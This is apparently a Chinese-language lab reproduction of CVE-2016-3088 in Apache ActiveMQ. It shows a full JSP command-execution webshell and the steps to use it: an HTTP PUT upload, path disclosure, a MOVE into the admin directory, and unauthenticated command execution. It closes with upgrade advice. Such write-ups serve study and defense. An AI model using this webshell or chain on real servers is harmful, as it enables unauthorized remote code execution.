Apache ActiveMQ任意檔案寫入漏洞(CVE-2016-3088)復現
一、漏洞描述
該漏洞出現在fileserver應用中,漏洞原理:ActiveMQ中的fileserver服務允許使用者通過HTTP PUT方法上傳檔案到指定目錄。Fileserver支援寫入檔案(不解析jsp),但是支援移動檔案(Move)我們可以將jsp的檔案PUT到Fileserver下,然後再通過Move指令移動到可執行目錄下訪問。
二、漏洞影響版本
Apache ActiveMQ 5.0.0 - 5.13.2
三、漏洞環境搭建
1、官網下載apache-activemq-5.7.0-bin.tar 下載地址:http://activemq.apache.org/download-archives.html
2、解壓
3、啟動,進入bin目錄下,執行./activemq start
4、瀏覽器訪問http://192.168.10.149:8161/,如下圖可以看到成功搭建環境
四、漏洞復現
1、PUT上傳一個jsp的webshell到fileserver目錄,下圖可以看到成功上傳jsp檔案
Jsp檔案內容:
<%@ page import="java.io.*"%> <% out.print("Hello</br>"); String strcmd=request.getParameter("cmd"); String line=null; Process p=Runtime.getRuntime().exec(strcmd); BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream())); while((line=br.readLine())!=null){ out.print(line+"</br>"); } %>
2、瀏覽器訪問http://192.168.10.149:8161/fileserver/1.jsp,下圖可以看到fileserver目錄下的webshell沒有被解析,說明fileserver目錄沒有執行許可權
3、利用該版本存在物理路徑洩露漏洞,爆一下絕對路徑
4、利用Move方法將webshell移入admin目錄下,如下圖所示成功把檔案移入到admin目錄
5、利用該版本存在的未授權訪問漏洞,不用登入,訪問http://192.168.10.149:8161/admin/1.jsp?cmd=ls,下圖可以看到成功執行命令
五、漏洞防禦
1、ActiveMQ Fileserver 的功能在 5.14.0 及其以後的版本中已被移除。建議使用者升級至 5.14.0 及其以後版本。
---------------------------------------------------------------------------------